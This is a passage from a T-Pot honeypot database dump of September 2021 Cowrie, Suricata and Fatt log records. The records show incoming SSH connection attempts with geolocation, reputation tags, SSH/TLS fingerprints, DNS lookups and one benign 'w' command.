"771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35148, "dest_port": 443, "timestamp": "2021-09-20T11:23:37.604325", "@timestamp": "2021-09-20T11:23:37.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29169	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:37.723007+03	2021-09-20 14:30:03.783553+03	{"_id": "0wbyAnwBvYTbRNuEezNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:37.723007Z", "@timestamp": "2021-09-20T11:23:37.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29170	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:23:37.776235+03	2021-09-20 14:30:03.785525+03	{"_id": "1AbyAnwBvYTbRNuEezNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "94bf932ebc06", "@version": "1", "duration": 1.4271190166473389, "timestamp": "2021-09-20T11:23:37.776235Z", "@timestamp": "2021-09-20T11:23:37.776Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29171	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:23:37.862891+03	2021-09-20 14:30:03.786525+03	{"_id": "2wbyAnwBvYTbRNuEfDP1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 51694, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1229, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1004515259655254, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49583, "timestamp": "2021-09-20T11:23:37.862891Z", "@timestamp": "2021-09-20T11:23:37.862Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29172	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:23:37.555154+03	2021-09-20 14:30:03.788523+03	{"_id": "3AbyAnwBvYTbRNuEfDP2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7726, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1229, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1346989509407314, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43384, "timestamp": "2021-09-20T11:23:37.555154Z", "@timestamp": "2021-09-20T11:23:37.555Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29173	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:23:37.895664+03	2021-09-20 14:30:03.789524+03	{"_id": "3wbyAnwBvYTbRNuEfDP2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 1641645740701947, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46551, "dest_port": 22, "timestamp": "2021-09-20T11:23:37.895664Z", "@timestamp": "2021-09-20T11:23:37.895Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29174	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:23:37.553554+03	2021-09-20 14:30:03.790524+03	{"_id": "3QbyAnwBvYTbRNuEfDP2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7726, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1346989509407314, "@version": "1", "in_iface": "enp5s0", "src_port": 43384, "dest_port": 53, "timestamp": "2021-09-20T11:23:37.553554Z", "@timestamp": "2021-09-20T11:23:37.553Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29175	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:23:37.895622+03	2021-09-20 14:30:03.791554+03	{"_id": "3gbyAnwBvYTbRNuEfDP2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:23:36.637179+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1641645740701947, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46551, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:23:37.895622Z", "@timestamp": "2021-09-20T11:23:37.895Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
29176	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:37.91532+03	2021-09-20 14:30:03.793553+03	{"_id": "4AbyAnwBvYTbRNuEfjMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35150, "dest_port": 443, "timestamp": "2021-09-20T11:23:37.915320", "@timestamp": "2021-09-20T11:23:37.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29177	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:23:37.957047+03	2021-09-20 14:30:03.794554+03	{"_id": "4QbyAnwBvYTbRNuEfjMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35150, "timestamp": "2021-09-20T11:23:37.957047", "@timestamp": "2021-09-20T11:23:37.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29178	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:23:38.228742+03	2021-09-20 14:30:03.796553+03	{"_id": "4gbyAnwBvYTbRNuEfzMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a001dced7dcf", "@version": "1", "timestamp": "2021-09-20T11:23:38.228742Z", "@timestamp": "2021-09-20T11:23:38.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29179	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:39.486357+03	2021-09-20 14:30:03.797553+03	{"_id": "5wbyAnwBvYTbRNuEgzMU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:39.486357Z", "@timestamp": "2021-09-20T11:23:39.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29180	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:23:35.143289+03	2021-09-20 14:30:03.798553+03	{"_id": "qgbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:42772 (192.168.176.2:22) [session: c767b30d40da]", "session": "c767b30d40da", "@version": "1", "protocol": "ssh", "src_port": 42772, "dest_port": 22, "timestamp": "2021-09-20T11:23:35.143289Z", "@timestamp": "2021-09-20T11:23:35.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29181	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:35.118697+03	2021-09-20 14:30:03.800563+03	{"_id": "qwbyAnwBvYTbRNuEczNw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:35.118697Z", "@timestamp": "2021-09-20T11:23:35.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29182	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:35.997807+03	2021-09-20 14:30:03.801524+03	{"_id": "rwbyAnwBvYTbRNuEczNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:35.997807Z", "@timestamp": "2021-09-20T11:23:35.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29183	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:23:36.40139+03	2021-09-20 14:30:03.802553+03	{"_id": "sQbyAnwBvYTbRNuEdTMk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:23:36.296487+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 138207471109671, "payload": "AAADzAYUprSzwIMq+fwuhk1uwz5b5QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43150, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:23:36.401390Z", "@timestamp": "2021-09-20T11:23:36.401Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........*....Mn.>[....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29184	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:36.399271+03	2021-09-20 14:30:03.803553+03	{"_id": "sgbyAnwBvYTbRNuEdjNa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43150, "timestamp": "2021-09-20T11:23:36.399271", "@timestamp": "2021-09-20T11:23:36.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29185	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:23:36.40139+03	2021-09-20 14:30:03.805553+03	{"_id": "swbyAnwBvYTbRNuEdjNa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 